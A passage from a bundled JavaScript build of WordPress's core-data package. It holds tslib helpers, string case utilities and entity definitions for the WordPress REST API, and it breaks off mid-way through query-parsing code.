OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. ***************************************************************************** */ /* global Reflect, Promise, SuppressedError, Symbol, Iterator */ var extendStatics = function(d, b) { extendStatics = Object.setPrototypeOf || ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) || function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; }; return extendStatics(d, b); }; function __extends(d, b) { if (typeof b !== "function" && b !== null) throw new TypeError("Class extends value " + String(b) + " is not a constructor or null"); extendStatics(d, b); function __() { this.constructor = d; } d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __()); } var __assign = function() { __assign = Object.assign || function __assign(t) { for (var s, i = 1, n = arguments.length; i < n; i++) { s = arguments[i]; for (var p in s) if (Object.prototype.hasOwnProperty.call(s, p)) t[p] = s[p]; } return t; } return __assign.apply(this, arguments); } function __rest(s, e) { var t = {}; for (var p in s) if (Object.prototype.hasOwnProperty.call(s, p) && e.indexOf(p) < 0) t[p] = s[p]; if (s != null && typeof Object.getOwnPropertySymbols === "function") for (var i = 0, p = Object.getOwnPropertySymbols(s); i < p.length; i++) { if (e.indexOf(p[i]) < 0 && Object.prototype.propertyIsEnumerable.call(s, p[i])) t[p[i]] = s[p[i]]; } return t; } function __decorate(decorators, target, key, desc) { var c = arguments.length, r = c < 3 ? target : desc === null ? desc = Object.getOwnPropertyDescriptor(target, key) : desc, d; if (typeof Reflect === "object" && typeof Reflect.decorate === "function") r = Reflect.decorate(decorators, target, key, desc); else for (var i = decorators.length - 1; i >= 0; i--) if (d = decorators[i]) r = (c < 3 ? d(r) : c > 3 ? d(target, key, r) : d(target, key)) || r; return c > 3 && r && Object.defineProperty(target, key, r), r; } function __param(paramIndex, decorator) { return function (target, key) { decorator(target, key, paramIndex); } } function __esDecorate(ctor, descriptorIn, decorators, contextIn, initializers, extraInitializers) { function accept(f) { if (f !== void 0 && typeof f !== "function") throw new TypeError("Function expected"); return f; } var kind = contextIn.kind, key = kind === "getter" ? "get" : kind === "setter" ? "set" : "value"; var target = !descriptorIn && ctor ? contextIn["static"] ? ctor : ctor.prototype : null; var descriptor = descriptorIn || (target ? Object.getOwnPropertyDescriptor(target, contextIn.name) : {}); var _, done = false; for (var i = decorators.length - 1; i >= 0; i--) { var context = {}; for (var p in contextIn) context[p] = p === "access" ? {} : contextIn[p]; for (var p in contextIn.access) context.access[p] = contextIn.access[p]; context.addInitializer = function (f) { if (done) throw new TypeError("Cannot add initializers after decoration has completed"); extraInitializers.push(accept(f || null)); }; var result = (0, decorators[i])(kind === "accessor" ? { get: descriptor.get, set: descriptor.set } : descriptor[key], context); if (kind === "accessor") { if (result === void 0) continue; if (result === null || typeof result !== "object") throw new TypeError("Object expected"); if (_ = accept(result.get)) descriptor.get = _; if (_ = accept(result.set)) descriptor.set = _; if (_ = accept(result.init)) initializers.unshift(_); } else if (_ = accept(result)) { if (kind === "field") initializers.unshift(_); else descriptor[key] = _; } } if (target) Object.defineProperty(target, contextIn.name, descriptor); done = true; }; function __runInitializers(thisArg, initializers, value) { var useValue = arguments.length > 2; for (var i = 0; i < initializers.length; i++) { value = useValue ? initializers[i].call(thisArg, value) : initializers[i].call(thisArg); } return useValue ? value : void 0; }; function __propKey(x) { return typeof x === "symbol" ? x : "".concat(x); }; function __setFunctionName(f, name, prefix) { if (typeof name === "symbol") name = name.description ? "[".concat(name.description, "]") : ""; return Object.defineProperty(f, "name", { configurable: true, value: prefix ? "".concat(prefix, " ", name) : name }); }; function __metadata(metadataKey, metadataValue) { if (typeof Reflect === "object" && typeof Reflect.metadata === "function") return Reflect.metadata(metadataKey, metadataValue); } function __awaiter(thisArg, _arguments, P, generator) { function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); } return new (P || (P = Promise))(function (resolve, reject) { function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } } function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } } function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); } step((generator = generator.apply(thisArg, _arguments || [])).next()); }); } function __generator(thisArg, body) { var _ = { label: 0, sent: function() { if (t[0] & 1) throw t[1]; return t[1]; }, trys: [], ops: [] }, f, y, t, g = Object.create((typeof Iterator === "function" ? Iterator : Object).prototype); return g.next = verb(0), g["throw"] = verb(1), g["return"] = verb(2), typeof Symbol === "function" && (g[Symbol.iterator] = function() { return this; }), g; function verb(n) { return function (v) { return step([n, v]); }; } function step(op) { if (f) throw new TypeError("Generator is already executing."); while (g && (g = 0, op[0] && (_ = 0)), _) try { if (f = 1, y && (t = op[0] & 2 ? y["return"] : op[0] ? y["throw"] || ((t = y["return"]) && t.call(y), 0) : y.next) && !(t = t.call(y, op[1])).done) return t; if (y = 0, t) op = [op[0] & 2, t.value]; switch (op[0]) { case 0: case 1: t = op; break; case 4: _.label++; return { value: op[1], done: false }; case 5: _.label++; y = op[1]; op = [0]; continue; case 7: op = _.ops.pop(); _.trys.pop(); continue; default: if (!(t = _.trys, t = t.length > 0 && t[t.length - 1]) && (op[0] === 6 || op[0] === 2)) { _ = 0; continue; } if (op[0] === 3 && (!t || (op[1] > t[0] && op[1] < t[3]))) { _.label = op[1]; break; } if (op[0] === 6 && _.label < t[1]) { _.label = t[1]; t = op; break; } if (t && _.label < t[2]) { _.label = t[2]; _.ops.push(op); break; } if (t[2]) _.ops.pop(); _.trys.pop(); continue; } op = body.call(thisArg, _); } catch (e) { op = [6, e]; y = 0; } finally { f = t = 0; } if (op[0] & 5) throw op[1]; return { value: op[0] ? op[1] : void 0, done: true }; } } var __createBinding = Object.create ? (function(o, m, k, k2) { if (k2 === undefined) k2 = k; var desc = Object.getOwnPropertyDescriptor(m, k); if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) { desc = { enumerable: true, get: function() { return m[k]; } }; } Object.defineProperty(o, k2, desc); }) : (function(o, m, k, k2) { if (k2 === undefined) k2 = k; o[k2] = m[k]; }); function __exportStar(m, o) { for (var p in m) if (p !== "default" && !Object.prototype.hasOwnProperty.call(o, p)) __createBinding(o, m, p); } function __values(o) { var s = typeof Symbol === "function" && Symbol.iterator, m = s && o[s], i = 0; if (m) return m.call(o); if (o && typeof o.length === "number") return { next: function () { if (o && i >= o.length) o = void 0; return { value: o && o[i++], done: !o }; } }; throw new TypeError(s ? "Object is not iterable." : "Symbol.iterator is not defined."); } function __read(o, n) { var m = typeof Symbol === "function" && o[Symbol.iterator]; if (!m) return o; var i = m.call(o), r, ar = [], e; try { while ((n === void 0 || n-- > 0) && !(r = i.next()).done) ar.push(r.value); } catch (error) { e = { error: error }; } finally { try { if (r && !r.done && (m = i["return"])) m.call(i); } finally { if (e) throw e.error; } } return ar; } /** @deprecated */ function __spread() { for (var ar = [], i = 0; i < arguments.length; i++) ar = ar.concat(__read(arguments[i])); return ar; } /** @deprecated */ function __spreadArrays() { for (var s = 0, i = 0, il = arguments.length; i < il; i++) s += arguments[i].length; for (var r = Array(s), k = 0, i = 0; i < il; i++) for (var a = arguments[i], j = 0, jl = a.length; j < jl; j++, k++) r[k] = a[j]; return r; } function __spreadArray(to, from, pack) { if (pack || arguments.length === 2) for (var i = 0, l = from.length, ar; i < l; i++) { if (ar || !(i in from)) { if (!ar) ar = Array.prototype.slice.call(from, 0, i); ar[i] = from[i]; } } return to.concat(ar || Array.prototype.slice.call(from)); } function __await(v) { return this instanceof __await ? (this.v = v, this) : new __await(v); } function __asyncGenerator(thisArg, _arguments, generator) { if (!Symbol.asyncIterator) throw new TypeError("Symbol.asyncIterator is not defined."); var g = generator.apply(thisArg, _arguments || []), i, q = []; return i = Object.create((typeof AsyncIterator === "function" ? AsyncIterator : Object).prototype), verb("next"), verb("throw"), verb("return", awaitReturn), i[Symbol.asyncIterator] = function () { return this; }, i; function awaitReturn(f) { return function (v) { return Promise.resolve(v).then(f, reject); }; } function verb(n, f) { if (g[n]) { i[n] = function (v) { return new Promise(function (a, b) { q.push([n, v, a, b]) > 1 || resume(n, v); }); }; if (f) i[n] = f(i[n]); } } function resume(n, v) { try { step(g[n](v)); } catch (e) { settle(q[0][3], e); } } function step(r) { r.value instanceof __await ? Promise.resolve(r.value.v).then(fulfill, reject) : settle(q[0][2], r); } function fulfill(value) { resume("next", value); } function reject(value) { resume("throw", value); } function settle(f, v) { if (f(v), q.shift(), q.length) resume(q[0][0], q[0][1]); } } function __asyncDelegator(o) { var i, p; return i = {}, verb("next"), verb("throw", function (e) { throw e; }), verb("return"), i[Symbol.iterator] = function () { return this; }, i; function verb(n, f) { i[n] = o[n] ? function (v) { return (p = !p) ? { value: __await(o[n](v)), done: false } : f ? f(v) : v; } : f; } } function __asyncValues(o) { if (!Symbol.asyncIterator) throw new TypeError("Symbol.asyncIterator is not defined."); var m = o[Symbol.asyncIterator], i; return m ? m.call(o) : (o = typeof __values === "function" ? __values(o) : o[Symbol.iterator](), i = {}, verb("next"), verb("throw"), verb("return"), i[Symbol.asyncIterator] = function () { return this; }, i); function verb(n) { i[n] = o[n] && function (v) { return new Promise(function (resolve, reject) { v = o[n](v), settle(resolve, reject, v.done, v.value); }); }; } function settle(resolve, reject, d, v) { Promise.resolve(v).then(function(v) { resolve({ value: v, done: d }); }, reject); } } function __makeTemplateObject(cooked, raw) { if (Object.defineProperty) { Object.defineProperty(cooked, "raw", { value: raw }); } else { cooked.raw = raw; } return cooked; }; var __setModuleDefault = Object.create ? (function(o, v) { Object.defineProperty(o, "default", { enumerable: true, value: v }); }) : function(o, v) { o["default"] = v; }; var ownKeys = function(o) { ownKeys = Object.getOwnPropertyNames || function (o) { var ar = []; for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k; return ar; }; return ownKeys(o); }; function __importStar(mod) { if (mod && mod.__esModule) return mod; var result = {}; if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]); __setModuleDefault(result, mod); return result; } function __importDefault(mod) { return (mod && mod.__esModule) ? mod : { default: mod }; } function __classPrivateFieldGet(receiver, state, kind, f) { if (kind === "a" && !f) throw new TypeError("Private accessor was defined without a getter"); if (typeof state === "function" ? receiver !== state || !f : !state.has(receiver)) throw new TypeError("Cannot read private member from an object whose class did not declare it"); return kind === "m" ? f : kind === "a" ? f.call(receiver) : f ? f.value : state.get(receiver); } function __classPrivateFieldSet(receiver, state, value, kind, f) { if (kind === "m") throw new TypeError("Private method is not writable"); if (kind === "a" && !f) throw new TypeError("Private accessor was defined without a setter"); if (typeof state === "function" ? receiver !== state || !f : !state.has(receiver)) throw new TypeError("Cannot write private member to an object whose class did not declare it"); return (kind === "a" ? f.call(receiver, value) : f ? f.value = value : state.set(receiver, value)), value; } function __classPrivateFieldIn(state, receiver) { if (receiver === null || (typeof receiver !== "object" && typeof receiver !== "function")) throw new TypeError("Cannot use 'in' operator on non-object"); return typeof state === "function" ? receiver === state : state.has(receiver); } function __addDisposableResource(env, value, async) { if (value !== null && value !== void 0) { if (typeof value !== "object" && typeof value !== "function") throw new TypeError("Object expected."); var dispose, inner; if (async) { if (!Symbol.asyncDispose) throw new TypeError("Symbol.asyncDispose is not defined."); dispose = value[Symbol.asyncDispose]; } if (dispose === void 0) { if (!Symbol.dispose) throw new TypeError("Symbol.dispose is not defined."); dispose = value[Symbol.dispose]; if (async) inner = dispose; } if (typeof dispose !== "function") throw new TypeError("Object not disposable."); if (inner) dispose = function() { try { inner.call(this); } catch (e) { return Promise.reject(e); } }; env.stack.push({ value: value, dispose: dispose, async: async }); } else if (async) { env.stack.push({ async: true }); } return value; } var _SuppressedError = typeof SuppressedError === "function" ? SuppressedError : function (error, suppressed, message) { var e = new Error(message); return e.name = "SuppressedError", e.error = error, e.suppressed = suppressed, e; }; function __disposeResources(env) { function fail(e) { env.error = env.hasError ? new _SuppressedError(e, env.error, "An error was suppressed during disposal.") : e; env.hasError = true; } var r, s = 0; function next() { while (r = env.stack.pop()) { try { if (!r.async && s === 1) return s = 0, env.stack.push(r), Promise.resolve().then(next); if (r.dispose) { var result = r.dispose.call(r.value); if (r.async) return s |= 2, Promise.resolve(result).then(next, function(e) { fail(e); return next(); }); } else s |= 1; } catch (e) { fail(e); } } if (s === 1) return env.hasError ? Promise.reject(env.error) : Promise.resolve(); if (env.hasError) throw env.error; } return next(); } function __rewriteRelativeImportExtension(path, preserveJsx) { if (typeof path === "string" && /^\.\.?\//.test(path)) { return path.replace(/\.(tsx)$|((?:\.d)?)((?:\.[^./]+?)?)\.([cm]?)ts$/i, function (m, tsx, d, ext, cm) { return tsx ? preserveJsx ? ".jsx" : ".js" : d && (!ext || !cm) ? m : (d + ext + "." + cm.toLowerCase() + "js"); }); } return path; } /* harmony default export */ const tslib_es6 = ({ __extends, __assign, __rest, __decorate, __param, __esDecorate, __runInitializers, __propKey, __setFunctionName, __metadata, __awaiter, __generator, __createBinding, __exportStar, __values, __read, __spread, __spreadArrays, __spreadArray, __await, __asyncGenerator, __asyncDelegator, __asyncValues, __makeTemplateObject, __importStar, __importDefault, __classPrivateFieldGet, __classPrivateFieldSet, __classPrivateFieldIn, __addDisposableResource, __disposeResources, __rewriteRelativeImportExtension, }); ;// ./node_modules/lower-case/dist.es2015/index.js /** * Source: ftp://ftp.unicode.org/Public/UCD/latest/ucd/SpecialCasing.txt */ var SUPPORTED_LOCALE = { tr: { regexp: /\u0130|\u0049|\u0049\u0307/g, map: { İ: "\u0069", I: "\u0131", İ: "\u0069", }, }, az: { regexp: /\u0130/g, map: { İ: "\u0069", I: "\u0131", İ: "\u0069", }, }, lt: { regexp: /\u0049|\u004A|\u012E|\u00CC|\u00CD|\u0128/g, map: { I: "\u0069\u0307", J: "\u006A\u0307", Į: "\u012F\u0307", Ì: "\u0069\u0307\u0300", Í: "\u0069\u0307\u0301", Ĩ: "\u0069\u0307\u0303", }, }, }; /** * Localized lower case. */ function localeLowerCase(str, locale) { var lang = SUPPORTED_LOCALE[locale.toLowerCase()]; if (lang) return lowerCase(str.replace(lang.regexp, function (m) { return lang.map[m]; })); return lowerCase(str); } /** * Lower case as a function. */ function lowerCase(str) { return str.toLowerCase(); } ;// ./node_modules/no-case/dist.es2015/index.js // Support camel case ("camelCase" -> "camel Case" and "CAMELCase" -> "CAMEL Case"). var DEFAULT_SPLIT_REGEXP = [/([a-z0-9])([A-Z])/g, /([A-Z])([A-Z][a-z])/g]; // Remove all non-word characters. var DEFAULT_STRIP_REGEXP = /[^A-Z0-9]+/gi; /** * Normalize the string into something other libraries can manipulate easier. */ function noCase(input, options) { if (options === void 0) { options = {}; } var _a = options.splitRegexp, splitRegexp = _a === void 0 ? DEFAULT_SPLIT_REGEXP : _a, _b = options.stripRegexp, stripRegexp = _b === void 0 ? DEFAULT_STRIP_REGEXP : _b, _c = options.transform, transform = _c === void 0 ? lowerCase : _c, _d = options.delimiter, delimiter = _d === void 0 ? " " : _d; var result = replace(replace(input, splitRegexp, "$1\0$2"), stripRegexp, "\0"); var start = 0; var end = result.length; // Trim the delimiter from around the output string. while (result.charAt(start) === "\0") start++; while (result.charAt(end - 1) === "\0") end--; // Transform each token independently. return result.slice(start, end).split("\0").map(transform).join(delimiter); } /** * Replace `re` in the input string with the replacement value. */ function replace(input, re, value) { if (re instanceof RegExp) return input.replace(re, value); return re.reduce(function (input, re) { return input.replace(re, value); }, input); } ;// ./node_modules/upper-case-first/dist.es2015/index.js /** * Upper case the first character of an input string. */ function upperCaseFirst(input) { return input.charAt(0).toUpperCase() + input.substr(1); } ;// ./node_modules/capital-case/dist.es2015/index.js function capitalCaseTransform(input) { return upperCaseFirst(input.toLowerCase()); } function capitalCase(input, options) { if (options === void 0) { options = {}; } return noCase(input, __assign({ delimiter: " ", transform: capitalCaseTransform }, options)); } ;// ./node_modules/pascal-case/dist.es2015/index.js function pascalCaseTransform(input, index) { var firstChar = input.charAt(0); var lowerChars = input.substr(1).toLowerCase(); if (index > 0 && firstChar >= "0" && firstChar <= "9") { return "_" + firstChar + lowerChars; } return "" + firstChar.toUpperCase() + lowerChars; } function dist_es2015_pascalCaseTransformMerge(input) { return input.charAt(0).toUpperCase() + input.slice(1).toLowerCase(); } function pascalCase(input, options) { if (options === void 0) { options = {}; } return noCase(input, __assign({ delimiter: "", transform: pascalCaseTransform }, options)); } ;// external ["wp","apiFetch"] const external_wp_apiFetch_namespaceObject = window["wp"]["apiFetch"]; var external_wp_apiFetch_default = /*#__PURE__*/__webpack_require__.n(external_wp_apiFetch_namespaceObject); ;// external ["wp","i18n"] const external_wp_i18n_namespaceObject = window["wp"]["i18n"]; ;// external ["wp","richText"] const external_wp_richText_namespaceObject = window["wp"]["richText"]; ;// ./node_modules/@wordpress/core-data/build-module/entities.js /** * External dependencies */ /** * WordPress dependencies */ const DEFAULT_ENTITY_KEY = 'id'; const POST_RAW_ATTRIBUTES = ['title', 'excerpt', 'content']; const rootEntitiesConfig = [{ label: (0,external_wp_i18n_namespaceObject.__)('Base'), kind: 'root', name: '__unstableBase', baseURL: '/', baseURLParams: { // Please also change the preload path when changing this. // @see lib/compat/wordpress-6.8/preload.php _fields: ['description', 'gmt_offset', 'home', 'name', 'site_icon', 'site_icon_url', 'site_logo', 'timezone_string', 'url', 'page_for_posts', 'page_on_front', 'show_on_front'].join(',') }, // The entity doesn't support selecting multiple records. // The property is maintained for backward compatibility. plural: '__unstableBases', syncConfig: { fetch: async () => { return external_wp_apiFetch_default()({ path: '/' }); }, applyChangesToDoc: (doc, changes) => { const document = doc.getMap('document'); Object.entries(changes).forEach(([key, value]) => { if (document.get(key) !== value) { document.set(key, value); } }); }, fromCRDTDoc: doc => { return doc.getMap('document').toJSON(); } }, syncObjectType: 'root/base', getSyncObjectId: () => 'index' }, { label: (0,external_wp_i18n_namespaceObject.__)('Post Type'), name: 'postType', kind: 'root', key: 'slug', baseURL: '/wp/v2/types', baseURLParams: { context: 'edit' }, plural: 'postTypes', syncConfig: { fetch: async id => { return external_wp_apiFetch_default()({ path: `/wp/v2/types/${id}?context=edit` }); }, applyChangesToDoc: (doc, changes) => { const document = doc.getMap('document'); Object.entries(changes).forEach(([key, value]) => { if (document.get(key) !== value) { document.set(key, value); } }); }, fromCRDTDoc: doc => { return doc.getMap('document').toJSON(); } }, syncObjectType: 'root/postType', getSyncObjectId: id => id }, { name: 'media', kind: 'root', baseURL: '/wp/v2/media', baseURLParams: { context: 'edit' }, plural: 'mediaItems', label: (0,external_wp_i18n_namespaceObject.__)('Media'), rawAttributes: ['caption', 'title', 'description'], supportsPagination: true }, { name: 'taxonomy', kind: 'root', key: 'slug', baseURL: '/wp/v2/taxonomies', baseURLParams: { context: 'edit' }, plural: 'taxonomies', label: (0,external_wp_i18n_namespaceObject.__)('Taxonomy') }, { name: 'sidebar', kind: 'root', baseURL: '/wp/v2/sidebars', baseURLParams: { context: 'edit' }, plural: 'sidebars', transientEdits: { blocks: true }, label: (0,external_wp_i18n_namespaceObject.__)('Widget areas') }, { name: 'widget', kind: 'root', baseURL: '/wp/v2/widgets', baseURLParams: { context: 'edit' }, plural: 'widgets', transientEdits: { blocks: true }, label: (0,external_wp_i18n_namespaceObject.__)('Widgets') }, { name: 'widgetType', kind: 'root', baseURL: '/wp/v2/widget-types', baseURLParams: { context: 'edit' }, plural: 'widgetTypes', label: (0,external_wp_i18n_namespaceObject.__)('Widget types') }, { label: (0,external_wp_i18n_namespaceObject.__)('User'), name: 'user', kind: 'root', baseURL: '/wp/v2/users', baseURLParams: { context: 'edit' }, plural: 'users' }, { name: 'comment', kind: 'root', baseURL: '/wp/v2/comments', baseURLParams: { context: 'edit' }, plural: 'comments', label: (0,external_wp_i18n_namespaceObject.__)('Comment') }, { name: 'menu', kind: 'root', baseURL: '/wp/v2/menus', baseURLParams: { context: 'edit' }, plural: 'menus', label: (0,external_wp_i18n_namespaceObject.__)('Menu') }, { name: 'menuItem', kind: 'root', baseURL: '/wp/v2/menu-items', baseURLParams: { context: 'edit' }, plural: 'menuItems', label: (0,external_wp_i18n_namespaceObject.__)('Menu Item'), rawAttributes: ['title'] }, { name: 'menuLocation', kind: 'root', baseURL: '/wp/v2/menu-locations', baseURLParams: { context: 'edit' }, plural: 'menuLocations', label: (0,external_wp_i18n_namespaceObject.__)('Menu Location'), key: 'name' }, { label: (0,external_wp_i18n_namespaceObject.__)('Global Styles'), name: 'globalStyles', kind: 'root', baseURL: '/wp/v2/global-styles', baseURLParams: { context: 'edit' }, plural: 'globalStylesVariations', // Should be different from name. getTitle: record => record?.title?.rendered || record?.title, getRevisionsUrl: (parentId, revisionId) => `/wp/v2/global-styles/${parentId}/revisions${revisionId ? '/' + revisionId : ''}`, supportsPagination: true }, { label: (0,external_wp_i18n_namespaceObject.__)('Themes'), name: 'theme', kind: 'root', baseURL: '/wp/v2/themes', baseURLParams: { context: 'edit' }, plural: 'themes', key: 'stylesheet' }, { label: (0,external_wp_i18n_namespaceObject.__)('Plugins'), name: 'plugin', kind: 'root', baseURL: '/wp/v2/plugins', baseURLParams: { context: 'edit' }, plural: 'plugins', key: 'plugin' }, { label: (0,external_wp_i18n_namespaceObject.__)('Status'), name: 'status', kind: 'root', baseURL: '/wp/v2/statuses', baseURLParams: { context: 'edit' }, plural: 'statuses', key: 'slug' }]; const additionalEntityConfigLoaders = [{ kind: 'postType', loadEntities: loadPostTypeEntities }, { kind: 'taxonomy', loadEntities: loadTaxonomyEntities }, { kind: 'root', name: 'site', plural: 'sites', loadEntities: loadSiteEntity }]; /** * Returns a function to be used to retrieve extra edits to apply before persisting a post type. * * @param {Object} persistedRecord Already persisted Post * @param {Object} edits Edits. * @return {Object} Updated edits. */ const prePersistPostType = (persistedRecord, edits) => { const newEdits = {}; if (persistedRecord?.status === 'auto-draft') { // Saving an auto-draft should create a draft by default. if (!edits.status && !newEdits.status) { newEdits.status = 'draft'; } // Fix the auto-draft default title. if ((!edits.title || edits.title === 'Auto Draft') && !newEdits.title && (!persistedRecord?.title || persistedRecord?.title === 'Auto Draft')) { newEdits.title = ''; } } return newEdits; }; const serialisableBlocksCache = new WeakMap(); function makeBlockAttributesSerializable(attributes) { const newAttributes = { ...attributes }; for (const [key, value] of Object.entries(attributes)) { if (value instanceof external_wp_richText_namespaceObject.RichTextData) { newAttributes[key] = value.valueOf(); } } return newAttributes; } function makeBlocksSerializable(blocks) { return blocks.map(block => { const { innerBlocks, attributes, ...rest } = block; return { ...rest, attributes: makeBlockAttributesSerializable(attributes), innerBlocks: makeBlocksSerializable(innerBlocks) }; }); } /** * Returns the list of post type entities. * * @return {Promise} Entities promise */ async function loadPostTypeEntities() { const postTypes = await external_wp_apiFetch_default()({ path: '/wp/v2/types?context=view' }); return Object.entries(postTypes !== null && postTypes !== void 0 ? postTypes : {}).map(([name, postType]) => { var _postType$rest_namesp; const isTemplate = ['wp_template', 'wp_template_part'].includes(name); const namespace = (_postType$rest_namesp = postType?.rest_namespace) !== null && _postType$rest_namesp !== void 0 ? _postType$rest_namesp : 'wp/v2'; return { kind: 'postType', baseURL: `/${namespace}/${postType.rest_base}`, baseURLParams: { context: 'edit' }, name, label: postType.name, transientEdits: { blocks: true, selection: true }, mergedEdits: { meta: true }, rawAttributes: POST_RAW_ATTRIBUTES, getTitle: record => { var _record$slug; return record?.title?.rendered || record?.title || (isTemplate ? capitalCase((_record$slug = record.slug) !== null && _record$slug !== void 0 ? _record$slug : '') : String(record.id)); }, __unstablePrePersist: isTemplate ? undefined : prePersistPostType, __unstable_rest_base: postType.rest_base, syncConfig: { fetch: async id => { return external_wp_apiFetch_default()({ path: `/${namespace}/${postType.rest_base}/${id}?context=edit` }); }, applyChangesToDoc: (doc, changes) => { const document = doc.getMap('document'); Object.entries(changes).forEach(([key, value]) => { if (typeof value !== 'function') { if (key === 'blocks') { if (!serialisableBlocksCache.has(value)) { serialisableBlocksCache.set(value, makeBlocksSerializable(value)); } value = serialisableBlocksCache.get(value); } if (document.get(key) !== value) { document.set(key, value); } } }); }, fromCRDTDoc: doc => { return doc.getMap('document').toJSON(); } }, syncObjectType: 'postType/' + postType.name, getSyncObjectId: id => id, supportsPagination: true, getRevisionsUrl: (parentId, revisionId) => `/${namespace}/${postType.rest_base}/${parentId}/revisions${revisionId ? '/' + revisionId : ''}`, revisionKey: isTemplate ? 'wp_id' : DEFAULT_ENTITY_KEY }; }); } /** * Returns the list of the taxonomies entities. * * @return {Promise} Entities promise */ async function loadTaxonomyEntities() { const taxonomies = await external_wp_apiFetch_default()({ path: '/wp/v2/taxonomies?context=view' }); return Object.entries(taxonomies !== null && taxonomies !== void 0 ? taxonomies : {}).map(([name, taxonomy]) => { var _taxonomy$rest_namesp; const namespace = (_taxonomy$rest_namesp = taxonomy?.rest_namespace) !== null && _taxonomy$rest_namesp !== void 0 ? _taxonomy$rest_namesp : 'wp/v2'; return { kind: 'taxonomy', baseURL: `/${namespace}/${taxonomy.rest_base}`, baseURLParams: { context: 'edit' }, name, label: taxonomy.name }; }); } /** * Returns the Site entity. * * @return {Promise} Entity promise */ async function loadSiteEntity() { var _site$schema$properti; const entity = { label: (0,external_wp_i18n_namespaceObject.__)('Site'), name: 'site', kind: 'root', baseURL: '/wp/v2/settings', syncConfig: { fetch: async () => { return external_wp_apiFetch_default()({ path: '/wp/v2/settings' }); }, applyChangesToDoc: (doc, changes) => { const document = doc.getMap('document'); Object.entries(changes).forEach(([key, value]) => { if (document.get(key) !== value) { document.set(key, value); } }); }, fromCRDTDoc: doc => { return doc.getMap('document').toJSON(); } }, syncObjectType: 'root/site', getSyncObjectId: () => 'index', meta: {} }; const site = await external_wp_apiFetch_default()({ path: entity.baseURL, method: 'OPTIONS' }); const labels = {}; Object.entries((_site$schema$properti = site?.schema?.properties) !== null && _site$schema$properti !== void 0 ? _site$schema$properti : {}).forEach(([key, value]) => { // Ignore properties `title` and `type` keys. if (typeof value === 'object' && value.title) { labels[key] = value.title; } }); return [{ ...entity, meta: { labels } }]; } /** * Returns the entity's getter method name given its kind and name or plural name. * * @example * ```js * const nameSingular = getMethodName( 'root', 'theme', 'get' ); * // nameSingular is getRootTheme * * const namePlural = getMethodName( 'root', 'themes', 'set' ); * // namePlural is setRootThemes * ``` * * @param {string} kind Entity kind. * @param {string} name Entity name or plural name. * @param {string} prefix Function prefix. * * @return {string} Method name */ const getMethodName = (kind, name, prefix = 'get') => { const kindPrefix = kind === 'root' ? '' : pascalCase(kind); const suffix = pascalCase(name); return `${prefix}${kindPrefix}${suffix}`; }; ;// external ["wp","url"] const external_wp_url_namespaceObject = window["wp"]["url"]; ;// ./node_modules/@wordpress/core-data/build-module/utils/get-normalized-comma-separable.js /** * Given a value which can be specified as one or the other of a comma-separated * string or an array, returns a value normalized to an array of strings, or * null if the value cannot be interpreted as either. * * @param {string|string[]|*} value * * @return {?(string[])} Normalized field value. */ function getNormalizedCommaSeparable(value) { if (typeof value === 'string') { return value.split(','); } else if (Array.isArray(value)) { return value; } return null; } /* harmony default export */ const get_normalized_comma_separable = (getNormalizedCommaSeparable); ;// ./node_modules/@wordpress/core-data/build-module/utils/with-weak-map-cache.js /** * Given a function, returns an enhanced function which caches the result and * tracks in WeakMap. The result is only cached if the original function is * passed a valid object-like argument (requirement for WeakMap key). * * @param {Function} fn Original function. * * @return {Function} Enhanced caching function. */ function withWeakMapCache(fn) { const cache = new WeakMap(); return key => { let value; if (cache.has(key)) { value = cache.get(key); } else { value = fn(key); // Can reach here if key is not valid for WeakMap, since `has` // will return false for invalid key. Since `set` will throw, // ensure that key is valid before setting into cache. if (key !== null && typeof key === 'object') { cache.set(key, value); } } return value; }; } /* harmony default export */ const with_weak_map_cache = (withWeakMapCache); ;// ./node_modules/@wordpress/core-data/build-module/queried-data/get-query-parts.js /** * WordPress dependencies */ /** * Internal dependencies */ /** * An object of properties describing a specific query. * * @typedef {Object} WPQueriedDataQueryParts * * @property {number} page The query page (1-based index, default 1). * @property {number} perPage Items per page for query (default 10). * @property {string} stableKey An encoded stable string of all non- * pagination, non-fields query parameters. * @property {?(string[])} fields Target subset of fields to derive from * item objects. * @property {?(number[])} include Specific item IDs to include. * @property {string} context Scope under which the request is made; * determines returned fields in response. */ /** * Given a query object, returns an object of parts, including pagination * details (`page` and `perPage`, or default values). All other properties are * encoded into a stable (idempotent) `stableKey` value. * * @param {Object} query Optional query object. * * @return {WPQueriedDataQueryParts} Query parts. */ function getQueryParts(query) { /** * @type {WPQueriedDataQueryParts} */ const parts = { stableKey: '', page: 1, perPage: 10, fields: null, include: null, context: 'default' }; // Ensure stable key by sorting keys. Also more efficient for iterating. const keys = Object.keys(query).sort(); for (let i = 0; i < keys.length; i++) { const key = keys[i]; let value = query[key]; switch (key) { case 'page': parts[key] = Number(value); break; case 'per_page': parts.perPage = Number(value); break; case 'context': parts.context = value; break; default: // While in theory, we could exclude "_fields" from the stableKey // because two request with different fields have the same results // We're not able to ensure that because the server can decide to omit // fields from the response even if we explicitly asked for it. // Example: Asking for titles in posts without title support. if (key === '_fields') { var _getNormalizedCommaSe; parts.fields = (_getNormalizedCommaSe = get_normalized_comma_separable(value)) !== null && _getNormalizedCommaSe !== void 0 ? _getNormalizedCommaSe : []; // Make sure to normalize value for `stableKey` value = parts.fields.join(); } // Two requests with different include values cannot have same results. if (key === 'include') { var _getNormalizedCommaSe2; if (typeof value 